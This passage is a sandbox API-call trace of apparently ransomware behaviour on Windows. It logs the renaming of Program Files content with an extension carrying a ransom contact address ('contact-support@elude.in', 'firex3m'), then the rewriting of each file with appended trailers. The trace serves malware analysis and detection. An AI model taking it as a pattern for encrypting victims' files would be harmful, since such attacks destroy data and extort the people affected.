(HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0219.913] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.913] WriteFile (in: hFile=0x6a8, lpBuffer=0x746bd68*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x746bd68*, lpNumberOfBytesWritten=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0219.914] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.914] WriteFile (in: hFile=0x6a8, lpBuffer=0x7477167*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7477167*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.914] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.914] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.914] CloseHandle (hObject=0x6a8) returned 1 [0219.914] GetProcessHeap () returned 0x630000 [0219.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746bd68 | out: hHeap=0x630000) returned 1 [0219.914] GetProcessHeap () returned 0x630000 [0219.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x712f718 | out: hHeap=0x630000) returned 1 [0219.914] GetProcessHeap () returned 0x630000 [0219.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0219.914] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x49060bb0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x17a74, dwReserved0=0xab47496, dwReserved1=0x712f710, cFileName="SQLDumper.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQLDUM~1.FIR")) returned 0x6d4ec0 [0219.915] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0219.915] Sleep (dwMilliseconds=0x1) [0221.499] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\LanguageSelector.js", len=0x72 | out: pbstr=0x59bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\LanguageSelector.js") returned 1 [0221.499] GetProcessHeap () returned 0x630000 [0221.499] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50e0) returned 0x6fe3bb0 [0221.502] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\LanguageSelector.js" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\languageselector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0221.502] CloseHandle (hObject=0x718) returned 1 [0221.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.503] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\LanguageSelector.js" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\languageselector.js"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\LanguageSelector.js.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\languageselector.js.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\LanguageSelector.js.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xee2a, dwReserved0=0x330038, dwReserved1=0x320031, cFileName="LanguageSelector.js.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LANGUA~1.FIR")) returned 0x6d5340 [0221.504] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0221.504] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\LanguageSelector.js.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\languageselector.js.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0221.504] GetProcessHeap () returned 0x630000 [0221.504] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6faaf20 [0221.504] GetProcessHeap () returned 0x630000 [0221.504] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0221.504] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.504] ReadFile (in: hFile=0x718, lpBuffer=0x6faaf20, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faaf20*, lpNumberOfBytesRead=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0225.090] GetProcessHeap () returned 0x630000 [0225.090] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0225.090] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.090] WriteFile (in: hFile=0x718, lpBuffer=0x6f06978*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesWritten=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0225.701] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.701] WriteFile (in: hFile=0x718, lpBuffer=0x6f11d77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11d77*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.721] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.721] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.721] CloseHandle (hObject=0x718) returned 1 [0225.763] GetProcessHeap () returned 0x630000 [0225.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0225.763] GetProcessHeap () returned 0x630000 [0225.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faaf20 | out: hHeap=0x630000) returned 1 [0225.763] GetProcessHeap () returned 0x630000 [0225.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0225.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\LanguageSelector.js.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c7cf597, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xee4e, dwReserved0=0xab47496, dwReserved1=0x6faaf18, cFileName="LanguageSelector.js.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LANGUA~1.FIR")) returned 0x6d53c0 [0225.958] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0225.958] Sleep (dwMilliseconds=0x1) [0225.980] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x59bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgradeth2.xml") returned 1 [0225.980] GetProcessHeap () returned 0x630000 [0225.980] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5184) returned 0x6fe3bb0 [0225.980] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0225.980] CloseHandle (hObject=0x4f0) returned 1 [0225.980] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.981] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.981] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.981] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938ac51e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x938ac51e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5280 [0225.981] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0225.982] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0225.982] GetProcessHeap () returned 0x630000 [0225.982] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3c90 [0225.982] GetProcessHeap () returned 0x630000 [0225.982] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3768 [0225.982] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.982] ReadFile (in: hFile=0x4f0, lpBuffer=0x6f3c90, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3c90*, lpNumberOfBytesRead=0x59bff0c*=0x180, lpOverlapped=0x0) returned 1 [0225.984] GetProcessHeap () returned 0x630000 [0225.984] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71767c8 [0225.984] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.984] WriteFile (in: hFile=0x4f0, lpBuffer=0x6f3768*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3768*, lpNumberOfBytesWritten=0x59bff0c*=0x180, lpOverlapped=0x0) returned 1 [0225.984] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.984] WriteFile (in: hFile=0x4f0, lpBuffer=0x6f38e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f38e7*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.985] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.985] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.985] CloseHandle (hObject=0x4f0) returned 1 [0225.985] GetProcessHeap () returned 0x630000 [0225.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3768 | out: hHeap=0x630000) returned 1 [0225.985] GetProcessHeap () returned 0x630000 [0225.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3c90 | out: hHeap=0x630000) returned 1 [0225.985] GetProcessHeap () returned 0x630000 [0225.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71767c8 | out: hHeap=0x630000) returned 1 [0225.985] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.985] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938ac51e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x938ac51e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4ca57ccf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x59bfd20, dwReserved1=0x6f3c90, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5580 [0225.985] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0225.985] Sleep (dwMilliseconds=0x1) [0226.030] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Detector_131491847713900000.xml", len=0x75 | out: pbstr=0x59bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Detector_131491847713900000.xml") returned 1 [0226.030] GetProcessHeap () returned 0x630000 [0226.030] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5198) returned 0x6fe3bb0 [0226.030] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Detector_131491847713900000.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\detector_131491847713900000.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0226.030] CloseHandle (hObject=0x410) returned 1 [0226.031] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.031] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Detector_131491847713900000.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\detector_131491847713900000.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Detector_131491847713900000.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\detector_131491847713900000.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.031] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.032] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Detector_131491847713900000.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x320038, dwReserved1=0x380034, cFileName="Detector_131491847713900000.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DETECT~1.FIR")) returned 0x6d5380 [0226.032] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0226.032] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Detector_131491847713900000.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\detector_131491847713900000.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0226.032] GetProcessHeap () returned 0x630000 [0226.032] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4561) returned 0x6fdcf38 [0226.032] GetProcessHeap () returned 0x630000 [0226.032] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4561) returned 0x73da3d8 [0226.033] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.033] ReadFile (in: hFile=0x410, lpBuffer=0x6fdcf38, nNumberOfBytesToRead=0x4540, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdcf38*, lpNumberOfBytesRead=0x59bff0c*=0x4540, lpOverlapped=0x0) returned 1 [0229.866] GetProcessHeap () returned 0x630000 [0229.866] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175f08 [0229.866] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.871] WriteFile (in: hFile=0x410, lpBuffer=0x73da3d8*, nNumberOfBytesToWrite=0x4540, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73da3d8*, lpNumberOfBytesWritten=0x59bff0c*=0x4540, lpOverlapped=0x0) returned 1 [0233.033] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.033] WriteFile (in: hFile=0x410, lpBuffer=0x73de917*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73de917*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.612] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.612] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.612] CloseHandle (hObject=0x410) returned 1 [0234.212] GetProcessHeap () returned 0x630000 [0234.212] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73da3d8 | out: hHeap=0x630000) returned 1 [0234.212] GetProcessHeap () returned 0x630000 [0234.212] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fdcf38 | out: hHeap=0x630000) returned 1 [0234.212] GetProcessHeap () returned 0x630000 [0234.212] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175f08 | out: hHeap=0x630000) returned 1 [0235.543] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Detector_131491847713900000.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51325729, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4580, dwReserved0=0xab47496, dwReserved1=0x6fdcf30, cFileName="Detector_131491847713900000.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DETECT~1.FIR")) returned 0x6d5280 [0235.543] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0235.543] Sleep (dwMilliseconds=0x1) [0237.644] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\VBAOWS10.CHM", len=0x66 | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\VBAOWS10.CHM") returned 1 [0237.644] GetProcessHeap () returned 0x630000 [0237.644] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4edc) returned 0x6fe3bb0 [0237.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\VBAOWS10.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\1033\\vbaows10.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0237.686] CloseHandle (hObject=0x6c8) returned 1 [0237.686] MultiByteToWideChar (in: 